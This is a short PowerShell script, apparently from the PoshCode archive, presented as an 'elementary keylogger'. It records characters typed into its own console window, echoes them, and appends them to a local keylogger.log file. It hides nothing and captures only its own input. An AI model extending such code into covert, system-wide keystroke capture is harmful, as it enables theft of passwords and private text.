# encoding: ascii
# api: powershell
# title: Keylogger
# description: Example of elementary keylogger.
# version: 0.1
# author: greg zakharov
# license: CC0
# x-poshcode-id: 6125
# x-archived: 2016-03-18T23:47:22
# x-published: 2016-12-01T13:44:00
#
#
[String]$buff = ""

while($true) {
  [Console]::ReadKey("`r") | % {
    if ($_.Key -eq 'Enter') {break}
    if ([Char]::IsLetterOrDigit($_.KeyChar) -or [Char]::IsWhiteSpace($_.KeyChar) -or`
        [Char]::IsPunctuation($_.KeyChar) -or [Char]::IsSymbol($_.KeyChar)) {
      $buff += $_.KeyChar
      Write-Host $_.KeyChar -no
    }
  }
}
""

if (-not [String]::IsNullOrEmpty($buff)) {
  Out-File ($pwd.Path + '\keylogger.log') -in $buff -enc ASCII -app -for
}
